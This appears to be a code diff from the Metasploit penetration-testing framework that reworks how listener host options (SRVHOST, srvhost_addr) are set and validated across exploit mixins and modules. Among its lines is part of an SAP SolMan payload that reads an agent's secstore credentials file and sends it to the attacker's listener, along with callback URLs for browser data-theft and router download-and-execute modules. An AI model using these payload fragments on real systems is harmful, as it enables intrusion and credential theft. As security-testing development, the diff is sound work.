b/lib/msf/core/exploit/cmd_stager.rb index 52e032f22d96e..58c251536580d 100644 --- a/lib/msf/core/exploit/cmd_stager.rb +++ b/lib/msf/core/exploit/cmd_stager.rb @@ -59,13 +59,14 @@ def initialize(info = {}) server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}] register_options( [ - OptPort.new('SRVPORT', [true, 'The local port to listen on', 8080], conditions: server_conditions) + OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions), + OptPort.new('SRVPORT', [true, "The local port to listen on.", 8080], conditions: server_conditions) ]) register_advanced_options( [ - OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use', 'auto', flavors]), - OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use']), + OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]), + OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']), OptString.new('CMDSTAGER::TEMP', [false, 'Writable directory for staged files']), OptString.new('CMDSTAGER::URIPATH', [false, 'Payload URI path for supported stagers']), OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false]) diff --git a/lib/msf/core/exploit/cmd_stager/http.rb b/lib/msf/core/exploit/cmd_stager/http.rb index adff0c284ea22..f0608af7c669c 100644 --- a/lib/msf/core/exploit/cmd_stager/http.rb +++ b/lib/msf/core/exploit/cmd_stager/http.rb @@ -9,12 +9,6 @@ def initialize(info = {}) super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive )) - - register_options( - [ - ::Msf::OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections']), - ] - ) end def cmdstager_start_service(opts = {}) diff --git a/lib/msf/core/exploit/format/webarchive.rb b/lib/msf/core/exploit/format/webarchive.rb index 2bd582c198d23..52dbb387fcfc9 100644 --- a/lib/msf/core/exploit/format/webarchive.rb +++ b/lib/msf/core/exploit/format/webarchive.rb @@ -328,8 +328,10 @@ def collect_data_uri # @return [String] formatted http/https URL of the listener def backend_url - resource = get_resource.end_with?('/') ? get_resource[0, get_resource.length - 1] : get_resource - get_uri("#{resource}/catch") + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}" + "#{proto}://#{myhost}#{port_str}" end # @return [String] URL that serves the malicious webarchive diff --git a/lib/msf/core/exploit/remote/browser_autopwn2.rb b/lib/msf/core/exploit/remote/browser_autopwn2.rb index 8b53769918e8d..2225270668d41 100644 --- a/lib/msf/core/exploit/remote/browser_autopwn2.rb +++ b/lib/msf/core/exploit/remote/browser_autopwn2.rb @@ -128,7 +128,7 @@ def set_exploit_options(xploit) p = select_payload(xploit) xploit.datastore['PAYLOAD'] = p.first[:payload_name] xploit.datastore['LPORT'] = p.first[:payload_lport] - xploit.datastore['SRVHOST'] = srvhost + xploit.datastore['SRVHOST'] = datastore['SRVHOST'] xploit.datastore['SRVPORT'] = datastore['SRVPORT'] xploit.datastore['LHOST'] = get_payload_lhost @@ -553,11 +553,12 @@ def start_service show_ready_exploits proto = (datastore['SSL'] ? "https" : "http") - service_srvhost = nil if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0' - service_srvhost = datastore['URIHOST'] + srvhost = datastore['URIHOST'] + elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' + srvhost = datastore['SRVHOST'] else - service_srvhost = srvhost_addr + srvhost = Rex::Socket.source_address end if datastore['URIPORT'] && datastore['URIPORT'] != 0 @@ -566,7 +567,7 @@ def start_service srvport = datastore['SRVPORT'] end - service_uri = "#{proto}://#{Rex::Socket.to_authority(service_srvhost, srvport)}#{get_resource}" + service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}" print_good("Please use the following URL for the browser attack:") print_good("BrowserAutoPwn URL: #{service_uri}") end @@ -662,8 +663,10 @@ def get_exploit_urls(cli, request) host = '' if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0' host = datastore['URIHOST'] + elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' + host = datastore['SRVHOST'] else - host = srvhost + host = Rex::Socket.source_address end if datastore['URIPORT'] && datastore['URIPORT'] != 0 port = datastore['URIPORT'] @@ -672,7 +675,7 @@ def get_exploit_urls(cli, request) end resource = mod.datastore['URIPATH'] - url = "#{proto}://#{Rex::Socket.to_authority(host, port)}#{resource}" + url = "#{proto}://#{host}:#{port}#{resource}" urls << url end diff --git a/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb b/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb index 7c71a4d9c8c0f..0ee2ad41c8cb7 100644 --- a/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb +++ b/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb @@ -49,8 +49,8 @@ def make_rce_payload(os_command) end # Make payload for steal credentials for SolMan server from agent - def make_steal_credentials_payload(instance, url) - command = "var u = new Packages.java.net.URL(\"#{url}\");" + def make_steal_credentials_payload(instance, host, port, url) + command = "var u = new Packages.java.net.URL(\"http://#{host}:#{port}#{url}\");" command << 'var o = Packages.java.lang.System.getProperty("os.name").toLowerCase();' command << 'if (o.indexOf("win") >= 0) ' command << "{var p = Packages.java.nio.file.Paths.get(\"C:\\\\usr\\\\sap\\\\DAA\\\\#{instance}\\\\SMDAgent\\\\configuration\\\\secstore.properties\");} " diff --git a/lib/msf/core/exploit/remote/http_server.rb b/lib/msf/core/exploit/remote/http_server.rb index b32f48c44b299..318dee3e5979d 100644 --- a/lib/msf/core/exploit/remote/http_server.rb +++ b/lib/msf/core/exploit/remote/http_server.rb @@ -485,9 +485,31 @@ def get_uri(cli=self.cli) # # @return [String] def srvhost_addr - return datastore['URIHOST'] if datastore['URIHOST'].present? + if datastore['URIHOST'] + host = datastore['URIHOST'] + elsif (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?)) + host = datastore["LHOST"] + else + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (respond_to?(:sock) and sock and sock.peerhost) + # Then this is a Passive-Aggressive module. It has a socket + # connected to the remote server from which we can deduce the + # appropriate source address. + host = Rex::Socket.source_address(sock.peerhost) + else + # Otherwise, this module is only a server, not a client, *and* + # the payload does not have an LHOST option. This can happen, + # for example, with a browser exploit using a download-exec + # payload. In that case, just use the address of the interface + # with the default gateway and hope for the best. + host = Rex::Socket.source_address + end + else + host = datastore['SRVHOST'] + end + end - super + host end # diff --git a/lib/msf/core/exploit/remote/jndi_injection.rb b/lib/msf/core/exploit/remote/jndi_injection.rb index 2bef21885c73d..1d90bbbd9623b 100644 --- a/lib/msf/core/exploit/remote/jndi_injection.rb +++ b/lib/msf/core/exploit/remote/jndi_injection.rb @@ -19,12 +19,6 @@ def initialize(info = {}) super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) - register_options( - [ - OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections']), - ] - ) - register_advanced_options([ OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true]) ]) @@ -35,7 +29,7 @@ def initialize(info = {}) # @return [String] the JNDI string def jndi_string(resource = nil) resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}" - "ldap://#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT'])}/#{resource}" + "ldap://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{resource}" end ## LDAP service callbacks @@ -140,6 +134,9 @@ def build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.P end def validate_configuration! + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') + end end end end diff --git a/lib/msf/core/exploit/remote/smb/relay_server.rb b/lib/msf/core/exploit/remote/smb/relay_server.rb index 686a2edef446c..d16b1048c0464 100644 --- a/lib/msf/core/exploit/remote/smb/relay_server.rb +++ b/lib/msf/core/exploit/remote/smb/relay_server.rb @@ -117,13 +117,14 @@ def start_service(_opts = {}) validate_smb_hash_capture_datastore(datastore, ntlm_provider) - comm = _determine_server_comm(bindhost) + comm = _determine_server_comm(datastore['SRVHOST']) + print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") @service = Rex::ServiceManager.start( self.class::SMBRelayServer, { socket: { 'Comm' => comm, - 'LocalHost' => bindhost, + 'LocalHost' => datastore['SRVHOST'], 'LocalPort' => datastore['SRVPORT'], 'Server' => true, 'Timeout' => datastore['SRV_TIMEOUT'], @@ -142,8 +143,6 @@ def start_service(_opts = {}) } } ) - print_status("SMB Server is running. Listening on #{Rex::Socket.to_authority(bindhost, datastore['SRVPORT'])}") - @service rescue Errno::EACCES => e fail_with(Msf::Module::Failure::BadConfig, "Failed to create the relay server: #{e.to_s}") end diff --git a/lib/msf/core/exploit/remote/smb/server/share.rb b/lib/msf/core/exploit/remote/smb/server/share.rb index 71734631a0152..de2c6acfb824a 100644 --- a/lib/msf/core/exploit/remote/smb/server/share.rb +++ b/lib/msf/core/exploit/remote/smb/server/share.rb @@ -27,7 +27,6 @@ def initialize(info = {}) register_options( [ - OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections.']), OptString.new('SHARE', [ false, 'Share (Default: random); cannot contain spaces or slashes'], regex: /^[^\s\/\\]*$/), OptString.new('FILE_NAME', [ false, 'File name to share (Default: random)']), OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default: none)']) diff --git a/lib/msf/core/exploit/remote/socket_server.rb b/lib/msf/core/exploit/remote/socket_server.rb index d25779a7e6b19..0e08e53049a8a 100644 --- a/lib/msf/core/exploit/remote/socket_server.rb +++ b/lib/msf/core/exploit/remote/socket_server.rb @@ -111,7 +111,7 @@ def cleanup_service # Returns the local host that is being listened on. # def srvhost - datastore['SRVHOST'] # rubocop:disable Lint/DatastoreSrvhostUsage + datastore['SRVHOST'] end # @@ -121,40 +121,12 @@ def srvport datastore['SRVPORT'] end - def srvhost_addr - if datastore['LHOST'].present? - host = datastore["LHOST"] - else - if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0 - if (respond_to?(:sock) and sock and sock.peerhost) - # Then this is a Passive-Aggressive module. It has a socket - # connected to the remote server from which we can deduce the - # appropriate source address. - host = Rex::Socket.source_address(sock.peerhost) - elsif datastore['RHOST'].present? - host = Rex::Socket.source_address(datastore['RHOST']) - else - # Otherwise, this module is only a server, not a client, *and* - # the payload does not have an LHOST option. This can happen, - # for example, with a browser exploit using a download-exec - # payload. In that case, just use the address of the interface - # with the default gateway and hope for the best. - host = Rex::Socket.source_address - end - else - host = srvhost - end - end - - host - end - # # Returns the address that the service is bound to. Can be different from SRVHOST when the ListenerBindAddress is # specified and can be used for binding to a specific address when NATing is in place. # def bindhost - datastore['ListenerBindAddress'].blank? ? srvhost : datastore['ListenerBindAddress'] + datastore['ListenerBindAddress'].blank? ? datastore['SRVHOST'] : datastore['ListenerBindAddress'] end def bindport diff --git a/lib/msf/core/opt_address_local.rb b/lib/msf/core/opt_address_local.rb index b75470cba2675..cffeb23cdcb7b 100644 --- a/lib/msf/core/opt_address_local.rb +++ b/lib/msf/core/opt_address_local.rb @@ -5,10 +5,39 @@ module Msf ### # -# Network address option that allows referencing an address based on the name of the interface it's associated with. +# Local network address option. # ### -class OptAddressLocal < OptAddressRoutable +class OptAddressLocal < OptAddress + def interfaces + begin + NetworkInterface.interfaces || [] + rescue NetworkInterface::Error => e + elog(e) + [] + end + end + + def normalize(value) + return unless value.kind_of?(String) + return value unless interfaces.include?(value) + + addrs = NetworkInterface.addresses(value).values.flatten + + # Strip interface name from address (see getifaddrs(3)) + addrs = addrs.map { |x| x['addr'].split('%').first }.select do |addr| + begin + IPAddr.new(addr) + rescue IPAddr::Error + false + end + end + + # Sort for deterministic normalization; preference ipv4 addresses followed by their value + sorted_addrs = addrs.sort_by { |addr| ip_addr = IPAddr.new(addr); [ip_addr.ipv4? ? 0 : 1, ip_addr.to_i] } + + sorted_addrs.any? ? sorted_addrs.first : '' + end def valid?(value, check_empty: true, datastore: nil) return false if check_empty && empty_required_value?(value) @@ -16,10 +45,6 @@ def valid?(value, check_empty: true, datastore: nil) return true if interfaces.include?(value) - # todo: this should probably have additional validation to ensure that the address is able to be bound to, this - # would mean that the address is either locally available, or available via a Rex::Socket channel, e.g. a Meterpreter - # session - super end end diff --git a/lib/msf/core/opt_address_routable.rb b/lib/msf/core/opt_address_routable.rb index 7fb0eb8921ce6..486e8e27e0e77 100644 --- a/lib/msf/core/opt_address_routable.rb +++ b/lib/msf/core/opt_address_routable.rb @@ -8,52 +8,9 @@ module Msf # ### class OptAddressRoutable < OptAddress - def interfaces - begin - NetworkInterface.interfaces || [] - rescue NetworkInterface::Error => e - elog(e) - [] - end - end - - def normalize(value) - return unless value.kind_of?(String) - return value unless interfaces.include?(value) - - addrs = NetworkInterface.addresses(value).values.flatten - - # Strip interface name from address (see getifaddrs(3)) - addrs = addrs.map { |x| x['addr'].split('%').first }.select do |addr| - begin - IPAddr.new(addr) - rescue IPAddr::Error - false - end - end - - # Sort for deterministic normalization; preference ipv4 addresses followed by their value - sorted_addrs = addrs.sort_by { |addr| ip_addr = IPAddr.new(addr); [ip_addr.ipv4? ? 0 : 1, ip_addr.to_i] } - - sorted_addrs.any? ? sorted_addrs.first : '' - end def valid?(value, check_empty: true, datastore: nil) - return false if check_empty && empty_required_value?(value) - return false unless value.kind_of?(String) || value.kind_of?(NilClass) - - return true if interfaces.include?(value) - return false if Rex::Socket.is_ip_addr?(value) && Rex::Socket.addr_atoi(value) == 0 - - if Rex::Socket.is_ipv4?(value) - ip_addr = IPAddr.new(value) - return false if IPAddr.new('0.0.0.0/8').include? ip_addr # this network - return false if IPAddr.new('224.0.0.0/4').include? ip_addr # multicast - return false if IPAddr.new('240.0.0.0/4').include? ip_addr # reserved - return false if IPAddr.new('255.255.255.255') == ip_addr # broadcast - end - super end end diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index 2150755604837..2503df94a0e62 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -45,13 +45,13 @@ class PayloadCachedSize }.freeze OPTS_IPV4 = { - 'LHOST' => '223.255.255.255', + 'LHOST' => '255.255.255.255', 'KHOST' => '255.255.255.255', 'AHOST' => '255.255.255.255' }.freeze OPTS_IPV6 = { - 'LHOST' => 'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', + 'LHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', 'KHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', 'AHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff' }.freeze @@ -60,7 +60,7 @@ class PayloadCachedSize # # @param data [String] The source code of a payload module # @param cached_size [String] The new value for cached_size, which - # should be either numeric or the string :dynamic + # which should be either numeric or the string :dynamic # @return [String] def self.update_cache_constant(data, cached_size) data. diff --git a/lib/rubocop/cop/lint/datastore_srvhost_usage.rb b/lib/rubocop/cop/lint/datastore_srvhost_usage.rb deleted file mode 100644 index e682f905d8e3b..0000000000000 --- a/lib/rubocop/cop/lint/datastore_srvhost_usage.rb +++ /dev/null @@ -1,42 +0,0 @@ -# frozen_string_literal: true - -module RuboCop - module Cop - module Lint - # Detects direct access to datastore['SRVHOST'] and recommends using the srvhost method instead. - # - # The srvhost method provides a cleaner API for accessing the SRVHOST value from the datastore. - # - # @example - # # bad - # datastore['SRVHOST'] - # datastore["SRVHOST"] - # - # # good - # srvhost - class DatastoreSrvhostUsage < Base - extend AutoCorrector - - MSG = 'Use the `srvhost` method instead of directly accessing `datastore[\'SRVHOST\']`.' - - # @!method datastore_srvhost_access?(node) - def_node_matcher :datastore_srvhost_access?, <<~PATTERN - (send - (send nil? :datastore) :[] - (str {"SRVHOST"})) - PATTERN - - # Called for every method call in the code - # Checks if it's a datastore['SRVHOST'] access and registers an offense if so - # @param node [RuboCop::AST::SendNode] The method call node being checked - def on_send(node) - return unless datastore_srvhost_access?(node) - - add_offense(node, message: MSG) do |corrector| - corrector.replace(node, 'srvhost') - end - end - end - end - end -end diff --git a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb index 5994b46e5a0f8..72919757cb8ca 100644 --- a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb +++ b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb @@ -176,7 +176,10 @@ def hidden_css end def backend_url - "#{get_uri}/catch" + proto = (datastore['SSL'] ? 'https' : 'http') + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" end def run diff --git a/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb b/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb index 15a4f15ce192a..e064799d2daed 100644 --- a/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb +++ b/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb @@ -58,7 +58,7 @@ def initialize(info = {}) OptString.new('SSRF_METHOD', [true, 'HTTP method for SSRF', 'GET'], conditions: %w[ACTION == SSRF]), OptString.new('SSRF_URI', [true, 'URI for SSRF', 'http://127.0.0.1:80/'], conditions: %w[ACTION == SSRF]), OptString.new('COMMAND', [true, 'Command for execute in agent', 'id'], conditions: %w[ACTION == EXEC]), - OptAddressRoutable.new('SRVHOST', [ false, 'The local IP address to listen HTTP requests from agents' ], conditions: %w[ACTION == SECSTORE]), + OptAddress.new('SRVHOST', [ true, 'The local IP address to listen HTTP requests from agents', '192.168.1.1' ], conditions: %w[ACTION == SECSTORE]), OptPort.new('SRVPORT', [ true, 'The local port to listen HTTP requests from agents', 8000 ], conditions: %w[ACTION == SECSTORE]), OptString.new('AGENT', [true, 'Agent server name for exec command or SSRF', 'agent_server_name'], conditions: ['ACTION', 'in', %w[SSRF EXEC SECSTORE]]), ] @@ -68,6 +68,8 @@ def initialize(info = {}) def setup_xml_and_variables @host = datastore['RHOSTS'] @port = datastore['RPORT'] + @srv_host = datastore['SRVHOST'] + @srv_port = datastore['SRVPORT'] @path = datastore['TARGETURI'] @agent_name = datastore['AGENT'] @@ -253,7 +255,7 @@ def action_secstore } } ) - @creds_payload = make_steal_credentials_payload(agent[:instanceName], "#{get_uri(cli)}/#{@script_name}") + @creds_payload = make_steal_credentials_payload(agent[:instanceName], @srv_host, @srv_port, "/#{@script_name}") print_status("Start script: #{@script_name} with payload for retrieving SolMan credentials file from agent: #{@agent_name}") send_soap_request(make_soap_body(@agent_name, @script_name, @creds_payload)) diff --git a/modules/auxiliary/fileformat/specialfolder_leak.rb b/modules/auxiliary/fileformat/specialfolder_leak.rb index 22053b0fd8f0c..a4df374248615 100644 --- a/modules/auxiliary/fileformat/specialfolder_leak.rb +++ b/modules/auxiliary/fileformat/specialfolder_leak.rb @@ -156,12 +156,12 @@ def run start_service unc_share = datastore['SHARE'] unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank? - unc_path = "\\\\#{srvhost}\\#{unc_share}" + unc_path = "\\\\#{datastore['SRVHOST']}\\#{unc_share}" lnk_data = ms_shllink(unc_path, app_name) file_create(lnk_data) print_good("LNK file created: #{datastore['FILENAME']}") - print_status("Listening for hashes on #{Rex::Socket.to_authority(bindhost, bindport)}") + print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") stime = Time.now.to_f timeout = datastore['ListenerTimeout'].to_i loop do diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb index 2310160d775ad..2a105422c84c5 100644 --- a/modules/auxiliary/gather/android_stock_browser_uxss.rb +++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb @@ -218,6 +218,13 @@ def collect_data(request) end end + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + def custom_js rjs_hook + datastore['CUSTOM_JS'] end diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index 01fe4be14cc11..2e35b3c9ffd3e 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -55,7 +55,7 @@ def initialize(info = {}) # def run start_service - print_status("Local FTP: #{Rex::Socket.to_authority(srvhost_addr, srvport)}") + print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}") start_http @http_service.wait end @@ -68,12 +68,17 @@ def start_http(opts = {}) # Ensture all dependencies are present before initializing HTTP use_zlib - comm = _determine_server_comm(bindhost) + comm = datastore['ListenerComm'] + if comm.to_s == 'local' + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end # Default the server host / port opts = { - 'ServerHost' => bindhost, - 'ServerPort' => datastore['HTTPPORT'], # can't use bindport because this wants HTTPPORT not SRVPORT + 'ServerHost' => datastore['SRVHOST'], + 'ServerPort' => datastore['HTTPPORT'], 'Comm' => comm }.update(opts) @@ -106,7 +111,7 @@ def start_http(opts = {}) print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if opts['ServerHost'] == '0.0.0.0' - print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") + print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end # Add path to resource @@ -114,6 +119,18 @@ def start_http(opts = {}) @http_service.add_resource(uopts['Path'], uopts) end + # + # Lookup the right address for the client + # + def lookup_lhost(c = nil) + # Get the source address + if datastore['SRVHOST'] == '0.0.0.0' + Rex::Socket.source_address(c || '50.50.50.50') + else + datastore['SRVHOST'] + end + end + # # Handle the FTP RETR request. This is where we transfer our actual malicious payload # @@ -194,7 +211,7 @@ def on_request_uri(cli, request) domains = datastore['TARGET_DOMAINS'].split(',') iframes = domains.map do |domain| %Q|| end diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 14def1f154540..fff1f23508e9e 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -86,6 +86,14 @@ def record_data(data, cli) ) end + # @return [String] formatted http/https URL of the listener + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + def message super + (datastore['INSTALL_EXTENSION'] ? " Click here to continue." + popup_js : '') end diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb index 8edcceea88fa5..3cfad645eee85 100644 --- a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb +++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb @@ -92,7 +92,12 @@ def html end def backend_url - "#{get_uri}/catch" + proto = (datastore['SSL'] ? 'https' : 'http') + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + resource = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource + + "#{proto}://#{my_host}#{port_str}#{resource}/catch" end def file_payload diff --git a/modules/auxiliary/gather/ie_sandbox_findfiles.rb b/modules/auxiliary/gather/ie_sandbox_findfiles.rb index 3ede49b391e5a..bd583642a5789 100644 --- a/modules/auxiliary/gather/ie_sandbox_findfiles.rb +++ b/modules/auxiliary/gather/ie_sandbox_findfiles.rb @@ -51,10 +51,12 @@ def initialize(info = {}) end def js + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + %Q|function report() { if(window.location.protocol != 'file:') { try { - window.location.href = 'file://#{srvhost_addr}/#{datastore['SHARENAME']}/index.html'; + window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch (e) { } return; } @@ -63,10 +65,10 @@ def js for(var i = 0; i < frames.length; i++) { try { if(frames[i].name == 'notfound') { - frames[i].src = 'http://#{srvhost_addr}/notfound/?f=' + frames[i].src; + frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src; } else { - frames[i].src = 'http://#{srvhost_addr}/found/?f=' + frames[i].src; + frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src; } } catch(e) { } } @@ -96,8 +98,10 @@ def html end def svg + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + %Q| -| +| end def is_target_suitable?(user_agent) @@ -114,6 +118,8 @@ def is_target_suitable?(user_agent) end def on_request_uri(cli, request) + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + case request.method when 'OPTIONS' process_options(cli, request) @@ -145,7 +151,7 @@ def on_request_uri(cli, request) "), + 'response' => convert_to_int_array(""), 'has_error' => false } wsock.put_wsbinary(JSON.generate(data)) @@ -238,7 +238,7 @@ def agent_callback_checkin(cookie) os_name: datastore['AGENT_OS'], os_arch: 'amd64', mac_address: mac_address, - local_ip_address: srvhost, + local_ip_address: datastore['SRVHOST'], port: datastore['SRVPORT'].to_s, fetched_unix: Time.now.to_i } @@ -362,6 +362,7 @@ def exploit datastore['AGENT'] fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required') end + fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 @xss_response_received = false diff --git a/modules/exploits/linux/http/craftcms_ftp_template.rb b/modules/exploits/linux/http/craftcms_ftp_template.rb index 241ce0d44a9b9..e7cd52ca33789 100644 --- a/modules/exploits/linux/http/craftcms_ftp_template.rb +++ b/modules/exploits/linux/http/craftcms_ftp_template.rb @@ -189,7 +189,7 @@ def check def trigger_http_request vprint_status('Triggering HTTP request...') - templates_path = "ftp://#{Rex::Socket.to_authority(srvhost_addr, srvport)}" + templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" send_request_raw( 'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}", 'method' => 'GET' @@ -212,7 +212,7 @@ def start_ftp_service def exploit vprint_status('Starting FTP service...') start_ftp_service - vprint_status("FTP server started on #{srvhost}:#{datastore['SRVPORT']}") + vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") vprint_status('Sending HTTP request to trigger the payload...') trigger_http_request end diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index 9cc3ab323e980..1e222150cdc9e 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -125,9 +125,18 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}" + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| @@ -137,6 +146,7 @@ def exploit }, 'ssl' => false # do not use SSL }) + end # diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index bb54c8bb9a668..7afd0a0acd55e 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -159,8 +159,15 @@ def exploit if (datastore['DOWNHOST']) service_url = 